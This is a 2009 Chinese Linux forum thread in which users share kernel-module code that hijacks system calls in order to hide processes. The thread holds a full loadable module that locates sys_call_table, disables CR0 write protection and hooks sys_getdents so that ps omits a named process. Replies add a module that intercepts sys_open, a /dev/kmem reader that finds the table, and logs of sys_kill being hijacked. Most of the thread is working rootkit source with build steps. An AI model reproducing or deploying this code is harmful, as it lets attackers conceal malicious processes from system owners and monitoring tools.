[原创]关于劫持系统调用隐藏进程的一些心得
时间:2009-09-17
来源:互联网
1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.
unsigned int clear_and_return_cr0(void);
void setback_cr0(unsigned int val);
2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.
关于隐藏进程的原理,可以查看其他相关文章,主要是通过int 0x80 找sys_call_table的地址.
博客地址:http://blog.chinaunix.net/u3/103654/showart.php?id=2053976
测试环境: ubuntu9.04 内核版本2.6.28
模块代码如下:
/*hideps.c*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
//#include <sys/stat.h>
//#include <fcntl.h>
#define CALLOFF 100
//使用模块参数来定义需要隐藏的进程名
int orig_cr0;
char psname[10]="looptest";
char *processname=psname;
//module_param(processname, charp, 0);
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) * idt;
struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
void** sys_call_table;
unsigned int clear_and_return_cr0(void)
{
unsigned int cr0 = 0;
unsigned int ret;
asm volatile ("movl %%cr0, %%eax"
: "=a"(cr0)
);
ret = cr0;
/*clear the 20th bit of CR0,*/
cr0 &= 0xfffeffff;
asm volatile ("movl %%eax, %%cr0"
:
: "a"(cr0)
);
return ret;
}
void setback_cr0(unsigned int val)
{
asm volatile ("movl %%eax, %%cr0"
:
: "a"(val)
);
}
asmlinkage long (*orig_getdents)(unsigned int fd,
struct linux_dirent __user *dirp, unsigned int count);
char * findoffset(char *start)
{
char *p;
for (p = start; p < start + CALLOFF; p++)
if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
return p;
return NULL;
}
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
{
if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
if(res>0 && res< 9999)
printk(KERN_INFO "pid=%d,",res);
printk("\n");
return (res);
}
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = get_current(),*entry=NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid == pid)
{
printk("pid found=%d\n",entry->pid);
return entry;
}
else
{
// printk(KERN_INFO "pid=%d not found\n",pid);
}
}
return NULL;
}
static inline char *get_name(struct task_struct *p, char *buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '\n')
{
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while (i);
*buf = '\n';
return buf + 1;
}
int get_process(pid_t pid)
{
struct task_struct *task = get_task(pid);
// char *buffer[64] = {0};
char buffer[64];
if (task)
{
get_name(task, buffer);
// if(pid>0 && pid<9999)
// printk(KERN_INFO "task name=%s\n",*buffer);
if(strstr(buffer,processname))
return 1;
else
return 0;
}
else
return 0;
}
asmlinkage long hacked_getdents(unsigned int fd,
struct linux_dirent __user *dirp, unsigned int count)
{
//added by lsc for process
long value;
// struct inode *dinode;
unsigned short len = 0;
unsigned short tlen = 0;
// struct linux_dirent *mydir = NULL;
//end
//在这里调用一下sys_getdents,得到返回的结果
value = (*orig_getdents) (fd, dirp, count);
tlen = value;
//遍历得到的目录列表
while(tlen > 0)
{
len = dirp->d_reclen;
tlen = tlen - len;
printk("%s\n",dirp->d_name);
if(get_process(myatoi(dirp->d_name)) )
{
printk("find process\n");
//发现匹配的进程,调用memmove将这条进程覆盖掉
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide successful.\n");
}
if(tlen)
dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
}
printk(KERN_INFO "finished hacked_getdents.\n");
return value;
}
void **get_sct_addr(void)
{
unsigned sys_call_off;
unsigned sct = 0;
char *p;
asm("sidt %0":"=m"(idtr));
idt = (void *) (idtr.base + 8 * 0x80);
sys_call_off = (idt->off2 << 16) | idt->off1;
if ((p = findoffset((char *) sys_call_off)))
sct = *(unsigned *) (p + 3);
return ((void **)sct);
}
static int filter_init(void)
{
//得到sys_call_table的偏移地址
sys_call_table = get_sct_addr();
if (!sys_call_table)
{
printk("get_act_addr(): NULL...\n");
return 0;
}
else
printk("sct: 0x%x\n", (unsigned int)sys_call_table);
//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
orig_getdents = sys_call_table[__NR_getdents];
orig_cr0 = clear_and_return_cr0();
sys_call_table[__NR_getdents] = hacked_getdents;
setback_cr0(orig_cr0);
printk(KERN_INFO "hideps: module loaded.\n");
return 0;
}
static void filter_exit(void)
{
orig_cr0 = clear_and_return_cr0();
if (sys_call_table)
sys_call_table[__NR_getdents] = orig_getdents;
setback_cr0(orig_cr0);
printk(KERN_INFO "hideps: module removed\n");
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");
makefile文件如下:
obj-m :=hideps.o
EXTRA_CFLAGS := -Dsymname=sys_call_table
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
$(RM) -rf .*.cmd *.mod.c *.o *.ko .tmp*
编写一个测试程序looptest.c,如下:
#include<stdio.h>
int main(void)
{
while(1);
return 0;
}
编译该测试程序,#gcc looptest.c -o looptest
并将该程序在后台运行,然后insmod 驱动模块hideps.ko,然后输入ps查看进程,可发现,looptest进程看不到了....
[ 本帖最后由 g84ch 于 2009-9-17 10:07 编辑 ]
作者: g84ch 发布时间: 2009-09-17
作者: Godbach 发布时间: 2009-09-17
http://blog.chinaunix.net/u/12592/showart_1903466.html
作者: CUDev 发布时间: 2009-09-17
作者: Godbach: 发布时间: 2009-09-17
作者: g84ch 发布时间: 2009-09-17
作者: g84ch 发布时间: 2009-09-17
作者: Godbach 发布时间: 2009-09-17

作者: CUDev 发布时间: 2009-09-17
或者是tar xzvf xxxx.tgz
作者: ninver 发布时间: 2009-09-17

追加了点注释。
- /*hideps.c*/
-
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <linux/types.h>
- #include <linux/sched.h>
- #include <linux/dirent.h>
- #include <linux/string.h>
- #include <linux/file.h>
- #include <linux/fs.h>
- #include <linux/list.h>
- #include <asm/uaccess.h>
- #include <linux/unistd.h>
- //#include <sys/stat.h>
- //#include <fcntl.h>
-
- #define CALLOFF 100
-
- //使用模块参数来定义需要隐藏的进程名
-
- int orig_cr0;
- char psname[10] = "looptest";
- char *processname = psname;
-
- //module_param(processname, charp, 0);
-
- // idtr register
- struct {
- unsigned short limit;// 16 bit(bit0-15)
- unsigned int base; // 32 bit(bit16-47)
- } __attribute__ ((packed)) idtr;
-
- // idt entity(8byte)
- struct {
- unsigned short off1; // offset bit0-15(bit0-15)
- unsigned short sel; //segment selector (bit16-31)
- unsigned char none,flags; //none:(bit32-39), flag:(bit40-47)
- unsigned short off2; //offset bit16-31(bit48-63)
- } __attribute__ ((packed)) * idt;
-
- struct linux_dirent{
- unsigned long d_ino;
- unsigned long d_off;
- unsigned short d_reclen;
- char d_name[1];
- };
-
- void** sys_call_table;
-
- //clear bit19(20th bit) of cr0 and return original cr0
- unsigned int clear_and_return_cr0(void)
- {
- unsigned int cr0 = 0;
- unsigned int ret;
-
- asm volatile ("movl %%cr0, %%eax"
- : "=a"(cr0)
- );
- ret = cr0;
-
- /*clear the 20th bit of CR0,*/
- cr0 &= 0xfffeffff;
- asm volatile ("movl %%eax, %%cr0"
- :
- : "a"(cr0)
- );
- return ret;
- }
-
- // restore cr0 with original value
- void setback_cr0(unsigned int val)
- {
- asm volatile ("movl %%eax, %%cr0"
- :
- : "a"(val)
- );
- }
-
- // original system call func
- asmlinkage long (*orig_getdents)(unsigned int fd,
- struct linux_dirent __user *dirp, unsigned int count);
-
- // get addr start with 0xff 0x14 0x85
- char * findoffset(char *start)
- {
- char *p;
- for (p = start; p < start + CALLOFF; p++)
- // In x86 machine code, call *sys_call_table(,%eax,4)
- // is translated to 0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
- // the 4 ‘addr’ bytes form the address of 'sys_call_table[]'
- if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
- return p;
- return NULL;
- }
-
- // convert a digital string to int
- int myatoi(char *str)
- {
- int res = 0;
- int mul = 1;
- char *ptr;
- for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
- {
- // not digit
- if (*ptr < '0' || *ptr > '9')
- return (-1);
- res += (*ptr - '0') * mul;
- mul *= 10;
- }
- if(res>0 && res< 9999)
- printk(KERN_INFO "pid=%d,",res);
- printk("\n");
- return (res);
- }
-
- // get task_struct by pid
- struct task_struct *get_task(pid_t pid)
- {
- struct task_struct *p = get_current(),*entry=NULL;
- list_for_each_entry(entry,&(p->tasks),tasks)
- {
- if(entry->pid == pid)
- {
- printk("pid found=%d\n",entry->pid);
- return entry;
- }
- }
- printk(KERN_INFO "pid=%d not found\n",pid);
- return NULL;
- }
-
- // get task's name
- static inline char *get_name(struct task_struct *p, char *buf)
- {
- int i;
- char *name;
- name = p->comm;
- i = sizeof(p->comm);
- do {
- unsigned char c = *name;
- name++;
- i--;
- *buf = c;
- if (!c)
- break;
- if (c == '\\') {
- buf[1] = c;
- buf += 2;
- continue;
- }
- if (c == '\n')
- {
- buf[0] = '\\';
- buf[1] = 'n';
- buf += 2;
- continue;
- }
- buf++;
- }
- while (i);
- *buf = '\n';
- return buf + 1;
- }
-
- // check if pid is which we want to hook
- int get_process(pid_t pid)
- {
- struct task_struct *task = get_task(pid);
- // char *buffer[64] = {0};
- char buffer[64];
- if (task)
- {
- get_name(task, buffer);
- // if(pid>0 && pid<9999)
- // printk(KERN_INFO "task name=%s\n",*buffer);
- if(strstr(buffer,processname))
- return 1;
- else
- return 0;
- }
- else
- return 0;
- }
-
- //hook func
- asmlinkage long hacked_getdents(unsigned int fd,
- struct linux_dirent __user *dirp, unsigned int count)
- {
- //added by lsc for process
- long value;
- // struct inode *dinode;
- unsigned short len = 0;
- unsigned short tlen = 0;
- // struct linux_dirent *mydir = NULL;
- //end
- //在这里调用一下sys_getdents,得到返回的结果
- value = (*orig_getdents) (fd, dirp, count);
- tlen = value;
- //遍历得到的目录列表
- while(tlen > 0)
- {
- len = dirp->d_reclen;
- tlen = tlen - len;
- printk("%s\n",dirp->d_name);
-
- if(get_process(myatoi(dirp->d_name)) )
- {
- printk("find process\n");
- //发现匹配的进程,调用memmove将这条进程覆盖掉
- memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
- value = value - len;
- printk(KERN_INFO "hide successful.\n");
- }
- if(tlen)
- dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
- }
- printk(KERN_INFO "finished hacked_getdents.\n");
- return value;
- }
-
-
- void **get_sct_addr(void)
- {
- unsigned sys_call_off;
- unsigned sct = 0;
- char *p;
-
- // get idtr using sidt
- asm("sidt %0":"=m"(idtr));
-
- // get system_call idt
- idt = (void *) (idtr.base + 8 * 0x80);
-
- // get offset(address of system_call func)
- sys_call_off = (idt->off2 << 16) | idt->off1;
-
- // get call *sys_call_table(,%eax,4)
- if ((p = findoffset((char *) sys_call_off)))
- // add 0xff 0x14 0x85 3bytes
- sct = *(unsigned *) (p + 3);
- // sys_call_table
- return ((void **)sct);
- }
-
-
- static int filter_init(void)
- {
- //得到sys_call_table的偏移地址
- sys_call_table = get_sct_addr();
- if (!sys_call_table)
- {
- printk("get_act_addr(): NULL...\n");
- return 0;
- }
- else
- printk("sct: 0x%x\n", (unsigned int)sys_call_table);
- //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
- orig_getdents = sys_call_table[__NR_getdents];
-
- orig_cr0 = clear_and_return_cr0();
- sys_call_table[__NR_getdents] = hacked_getdents;
- setback_cr0(orig_cr0);
- printk(KERN_INFO "hideps: module loaded.\n");
- return 0;
- }
-
-
- static void filter_exit(void)
- {
- orig_cr0 = clear_and_return_cr0();
- if (sys_call_table)
- sys_call_table[__NR_getdents] = orig_getdents;
- setback_cr0(orig_cr0);
- printk(KERN_INFO "hideps: module removed\n");
- }
- module_init(filter_init);
- module_exit(filter_exit);
- MODULE_LICENSE("GPL");
[ 本帖最后由 chenbdchenbd 于 2009-9-17 18:43 编辑 ]
作者: CUDev 发布时间: 2009-09-17
作者: chenbdchenbd 发布时间: 2009-09-18
作者: g84ch 发布时间: 2009-09-21
作者: Godbach 发布时间: 2009-09-21
作者: Godbach 发布时间: 2009-09-22
可以试试把清CR0寄存器的那两步操作给去掉,再试试...
2.6下不清的话,应该是只读的吧。昨天也看了albcamus版主的那个帖子。
作者: g84ch 发布时间: 2009-09-22
作者: Godbach 发布时间: 2009-09-22
作者: W.Z.T 发布时间: 2009-09-23
作者: g84ch 发布时间: 2009-09-23
我也还没试,你知道是什么问题了吗?如果知道,分享一下吧....呵呵....
LZ,你说没试,是指的你的程序还是其他?
作者: g84ch 发布时间: 2009-09-23
感谢这位大哥赐教~~~
不好意思, 看成是文件的隐藏了, filldir64是用来隐藏文件的

作者: Godbach 发布时间: 2009-09-23
作者: W.Z.T 发布时间: 2009-09-23
- #include <linux/kernel.h>
- #include <linux/init.h>
- #include <linux/module.h>
- #include <linux/kprobes.h>
- #include <linux/kallsyms.h>
- #include <linux/sched.h>
- #include <linux/ptrace.h>
- #include <linux/mm.h>
- #include <linux/smp.h>
- #include <linux/user.h>
- #include <linux/errno.h>
- #include <linux/cpu.h>
- #include <asm/uaccess.h>
- #include <asm/fcntl.h>
- #include <asm/unistd.h>
-
- MODULE_DESCRIPTION("Intercept the system call table in Linux");
- MODULE_AUTHOR("alert7 ([email][email protected][/email]) \n\t\talbcamus <[email][email protected][/email]>");
- MODULE_LICENSE("GPL");
-
-
- /* comment the following line to shut me up */
- #define INTERCEPT_DEBUG
-
- #ifdef INTERCEPT_DEBUG
- #define dbgprint(format,args...) \
- printk("intercept: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
- #else
- #define dbgprint(format,args...) do {} while(0);
- #endif
-
-
- /**
- * the system call table
- */
- void **my_table;
-
- unsigned int orig_cr0;
-
- /**
- * the original syscall functions
- */
- asmlinkage long (*old_open) (char __user *filename, int flags, int mode);
- asmlinkage int (*old_execve) (struct pt_regs regs);
-
-
-
- /** do_execve and do_fork */
- unsigned int can_exec_fork = 0;
- int (*new_do_execve) (char * filename,
- char __user *__user *argv,
- char __user *__user *envp,
- struct pt_regs * regs);
-
-
- struct idtr {
- unsigned short limit;
- unsigned int base;
- } __attribute__ ((packed));
-
-
- struct idt {
- unsigned short off1;
- unsigned short sel;
- unsigned char none, flags;
- unsigned short off2;
- } __attribute__ ((packed));
-
-
- #if 0
- /**
- * check if we can intercept fork/vfork/clone/execve or not
- *
- * return : 0 for no, 1 for yes
- */
- struct kprobe kp_exec;
- unsigned int can_intercept_fork_exec(void)
- {
- int ret = 0;
-
- #ifndef CONFIG_KPROBES
- return ret;
- #endif
-
- kp_exec.symbol_name = "do_execve";
-
- ret = register_kprobe(&kp_exec);
- if (ret != 0 ) {
- dbgprint("cannot find do_execve by kprobe.\n");
- return 0;
- }
- new_do_execve = ( int (*)
- (char *,
- char __user * __user *,
- char __user * __user *,
- struct pt_regs *
- )
- ) kp_exec.addr;
-
- dbgprint("do_execve at %p\n", (void *)kp_exec.addr);
- unregister_kprobe(&kp_exec);
-
-
- return 1;
- }
-
- #endif
-
- /**
- * clear WP bit of CR0, and return the original value
- */
- unsigned int clear_and_return_cr0(void)
- {
- unsigned int cr0 = 0;
- unsigned int ret;
-
- asm volatile ("movl %%cr0, %%eax"
- : "=a"(cr0)
- );
- ret = cr0;
-
- /* clear the 20 bit of CR0, a.k.a WP bit */
- cr0 &= 0xfffeffff;
-
- asm volatile ("movl %%eax, %%cr0"
- :
- : "a"(cr0)
- );
- return ret;
- }
-
- /** set CR0 with new value
- *
- * @val : new value to set in cr0
- */
- void setback_cr0(unsigned int val)
- {
- asm volatile ("movl %%eax, %%cr0"
- :
- : "a"(val)
- );
- }
-
-
- /**
- * Return the first appearence of NEEDLE in HAYSTACK.
- * */
- static void *memmem(const void *haystack, size_t haystack_len,
- const void *needle, size_t needle_len)
- {/*{{{*/
- const char *begin;
- const char *const last_possible
- = (const char *) haystack + haystack_len - needle_len;
-
- if (needle_len == 0)
- /* The first occurrence of the empty string is deemed to occur at
- the beginning of the string. */
- return (void *) haystack;
-
- /* Sanity check, otherwise the loop might search through the whole
- memory. */
- if (__builtin_expect(haystack_len < needle_len, 0))
- return NULL;
-
- for (begin = (const char *) haystack; begin <= last_possible;
- ++begin)
- if (begin[0] == ((const char *) needle)[0]
- && !memcmp((const void *) &begin[1],
- (const void *) ((const char *) needle + 1),
- needle_len - 1))
- return (void *) begin;
-
- return NULL;
- }/*}}}*/
-
-
- /**
- * Find the location of sys_call_table
- */
- static unsigned long get_sys_call_table(void)
- {/*{{{*/
- /* we'll read first 100 bytes of int $0x80 */
- #define OFFSET_SYSCALL 100
-
- struct idtr idtr;
- struct idt idt;
- unsigned sys_call_off;
- unsigned retval;
- char sc_asm[OFFSET_SYSCALL], *p;
-
- /* well, let's read IDTR */
- asm("sidt %0":"=m"(idtr)
- :
- :"memory" );
-
- dbgprint("idtr base at 0x%X\n", (unsigned int)idtr.base);
-
- /* Read in IDT for vector 0x80 (syscall) */
- memcpy(&idt, (char *) idtr.base + 8 * 0x80, sizeof(idt));
-
- sys_call_off = (idt.off2 << 16) | idt.off1;
-
- dbgprint("idt80: flags=%X sel=%X off=%X\n",
- (unsigned) idt.flags, (unsigned) idt.sel, sys_call_off);
-
- /* we have syscall routine address now, look for syscall table
- dispatch (indirect call) */
- memcpy(sc_asm, (void *)sys_call_off, OFFSET_SYSCALL);
-
- /**
- * Search opcode of `call sys_call_table(,eax,4)'
- */
- p = (char *) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\x85", 3);
- if (p == NULL)
- return 0;
-
- retval = *(unsigned *) (p + 3);
- if (p) {
- dbgprint("sys_call_table at 0x%x, call dispatch at 0x%x\n",
- retval, (unsigned int) p);
- }
- return retval;
- #undef OFFSET_SYSCALL
- }/*}}}*/
-
-
-
- /**
- * new_open - replace the original sys_open when initilazing,
- * as well as be got rid of when removed
- */
- asmlinkage long new_open(char *filename, int flags, int mode)
- {
- dbgprint("hello\n");
- return old_open (filename, flags, mode);
- }
-
-
- /**
- * new_execve - you should change this function whenever the kernel's sys_execve()
- * changes
- */
- asmlinkage int new_execve(struct pt_regs regs)
- {
- int error;
- char *filename;
-
- dbgprint("Hello\n");
-
- filename = getname( (char __user *) regs.ebx );
- error = PTR_ERR(filename);
- if ( IS_ERR(filename) )
- goto out;
- dbgprint("file to execve: %s\n", filename);
- error = new_do_execve(filename,
- (char __user * __user *) regs.ecx,
- (char __user * __user *) regs.edx,
- ®s);
- if (error == 0) {
- task_lock(current);
- current->ptrace &= ~PT_DTRACE;
- task_unlock(current);
- set_thread_flag(TIF_IRET);
- }
- putname (filename);
- out:
- return error;
- }
-
- static int intercept_init(void)
- {
- my_table = (void **)get_sys_call_table();
- if (my_table == NULL)
- return -1;
-
- dbgprint("sys call table address %p\n", (void *) my_table);
-
- #define REPLACE(x) old_##x = my_table[__NR_##x];\
- my_table[__NR_##x] = new_##x
-
-
- REPLACE(open);
- #if 0
- can_exec_fork = can_intercept_fork_exec();
- if(can_exec_fork == 1)
- REPLACE(execve);
- #endif
-
- #undef REPLACE
- return 0;
- }
-
-
-
-
-
- static int __init this_init(void)
- {
- int ret;
- printk("syscall intercept: Hi, poor linux!\n");
-
- orig_cr0 = clear_and_return_cr0();
- ret = intercept_init();
- setback_cr0(orig_cr0);
-
- return ret;
- }
-
- static void __exit this_fini(void)
- {
- printk("syscall intercept: bye, poor linux!\n");
-
- #define RESTORE(x) my_table[__NR_##x] = old_##x
-
- orig_cr0 = clear_and_return_cr0();
- RESTORE(open);
- #if 0
- if(can_exec_fork == 1)
- RESTORE(execve);
- #endif
- setback_cr0(orig_cr0);
-
- #undef RESTORE
- }
-
- module_init(this_init);
- module_exit(this_fini);
然后查看一下日志,看到如下信息:
Sep 24 19:06:49 localhost kernel: intercept: function:intercept_init-L276: sys call table address c11f14e0
Sep 24 19:06:50 localhost kernel: intercept: function:new_open-L234: hello
Sep 24 19:07:00 localhost last message repeated 460 times
可见open系统调用被成功劫持,而且系统在执行的过程中,open的调用是很频繁的。
作者: g84ch 发布时间: 2009-09-24
作者: Godbach 发布时间: 2009-09-25
关于CR0的问题,当时困扰了我很久....CU上的帖子真是好资源啊~~~~
呵呵,众人拾柴火焰高啊
作者: g84ch 发布时间: 2009-09-25


作者: Godbach 发布时间: 2009-10-12
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <unistd.h>
- #include <errno.h>
- #include <sys/mman.h>
- #define CALLOFF 100 //读取100字节
-
- struct {
-
- unsigned short limit;
-
- unsigned int base;
-
- } __attribute__ ((packed)) idtr; //这个结构表示IDTR寄存器,这个寄存器中保存中断描述符表 的地址
-
-
- struct {
-
- unsigned short off1;
-
- unsigned short sel;
-
- unsigned char none,flags;
-
- unsigned short off2;
-
- } __attribute__ ((packed)) idt; //中断描述符表中的内容:中断门描述符
-
-
- unsigned int old_readkmem (int fd, void * buf,size_t off,unsigned int size) //用read方式读取kmem中一定长度内容
-
- {
-
- if (lseek(fd, off,SEEK_SET)!=off)
- {
-
- //perror("fd lseek");
- return 0;
- }
-
- if (read(fd, buf,size)!=size)
- {
-
- //perror("fd read");
- return 0;
- }
-
- }
-
-
- unsigned long readkmem (int fd, void * buf, size_t off, unsigned int size)//用mmap方式从kmem中读取一定长度内容
- {
- size_t moff, roff;
- size_t sz = getpagesize();
-
- char * kmap;
-
- unsigned long ret_old = old_readkmem(fd, buf, off, size); //先用老方法读取,不行再用mmap
- if (ret_old != 0)
- return ret_old;
-
- moff = ((size_t)(off/sz)) * sz;
- roff = off - moff;
-
- kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff);
-
- if (kmap == MAP_FAILED)
- {
- perror("readkmem: mmap");
- return 0;
- }
-
- memcpy (buf, &kmap[roff], size);
-
- if (munmap(kmap, size) != 0)
- {
- perror("readkmem: munmap");
- return 0;
- }
-
- return size;
- }
-
- int main (int argc, char **argv)
-
- {
-
- unsigned sys_call_off;
-
- int kmem_fd; // /dev/kmem文件描述符
-
- unsigned sct;
-
- char sc_asm[CALLOFF],*p;
-
-
- /* 获得IDTR寄存器的值 */
-
- asm ("sidt %0" : "=m" (idtr));
-
- printf("idtr base at 0x%X\n",(int)idtr.base);
-
-
- /* 打开kmem */
-
- kmem_fd = open ("/dev/kmem",O_RDONLY);
-
- if (kmem_fd<0) return 1;
-
-
- /* 从IDT读出0x80向量 (syscall) */
-
- readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt)); //idtr.base+8*0x80 表示80中断描述符的偏移
-
- sys_call_off = (idt.off2 << 16) | idt.off1; //idt.off2 表示地址的前16位,得到syscall地址
-
- printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
-
-
- /* 寻找sys_call_table的地址 */
-
- readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF);
-
- p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3); //只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了,call something(,eax,4)指令的机器码是0xff 0x14 0x85,因此搜索这个字符串。
-
- sct = *(unsigned*)(p+3); //sys_call_table地址就在0xff 0x14 0x85之后
-
- if (p)
- {
-
- printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);
-
- }
-
- close(kmem_fd);
- return 0;
- }
作者: gcbin007 发布时间: 2009-10-13
http://blog.chinaunix.net/u/12592/showart_1903466.html
测试结果,/dev/kmem和lkm方式获得的sys_call_table的地址是一样的
/dev/kmem测试:
idt80: flags=EF sel=60 off=C010388C
sys_call_table at 0xc02bfaa0, call dispatch at 0xbf8debae
addr(__kmalloc): c0171d25
kmalloc: 0xc0171d25
Old sys_uname: 0xc012df46
off: 0xc02bfc88
write: 4
Now sys_uname: 0xc0171d25
off: 0xc02bfc88
write: 4
Kernel Space allocation: 0xf6d12440
Write Kill Opcode To Kernel Buf.
addr(u per_cpu__current_task): c03b4000
addr(sys_kill): c012ba45
off: 0xf6d12440
write: 85
Write Opcode Successed!
off: 0xc02bfb34
write: 4
hijack sys_kill from 0xc012ba45[-1072514491] to 0xf6d12440[-154065856]
###NOTES to recovery sys_kill.
lkm测试:
Oct 20 09:59:35 debian-wangyao kernel: [ 78.431383] CPU1 attaching NULL sched-domain.
Oct 20 09:59:35 debian-wangyao kernel: [ 78.431454] CPU0 attaching sched-domain:
Oct 20 09:59:35 debian-wangyao kernel: [ 78.431454] domain 0: span 0-1
Oct 20 09:59:35 debian-wangyao kernel: [ 78.431454] groups: 0 1
Oct 20 09:59:35 debian-wangyao kernel: [ 78.431454] CPU1 attaching sched-domain:
Oct 20 09:59:35 debian-wangyao kernel: [ 78.431454] domain 0: span 0-1
Oct 20 09:59:35 debian-wangyao kernel: [ 78.431454] groups: 1 0
Oct 20 10:02:27 debian-wangyao kernel: [ 252.056927] system_call: 0xc010388c
Oct 20 10:02:27 debian-wangyao kernel: [ 252.056927] Here Find sys_call_table: 0xc01038ca
Oct 20 10:02:27 debian-wangyao kernel: [ 252.056927] sys_call_table: 0xc02bfaa0
作者: Godbach 发布时间: 2009-10-20

作者: CUDev 发布时间: 2009-10-20
作者: W.Z.T 发布时间: 2009-10-20
http://blog.chinaunix.net/u/12592/showart_1421096.html
[ 本帖最后由 CUDev 于 2009-10-20 10:26 编辑 ]
作者: Godbach 发布时间: 2009-10-20
热门阅读
-
office 2019专业增强版最新2021版激活秘钥/序列号/激活码推荐 附激活工具
阅读:74
-
如何安装mysql8.0
阅读:31
-
Word快速设置标题样式步骤详解
阅读:28
-
20+道必知必会的Vue面试题(附答案解析)
阅读:37
-
HTML如何制作表单
阅读:22
-
百词斩可以改天数吗?当然可以,4个步骤轻松修改天数!
阅读:31
-
ET文件格式和XLS格式文件之间如何转化?
阅读:24
-
react和vue的区别及优缺点是什么
阅读:121
-
支付宝人脸识别如何关闭?
阅读:21
-
腾讯微云怎么修改照片或视频备份路径?
阅读:28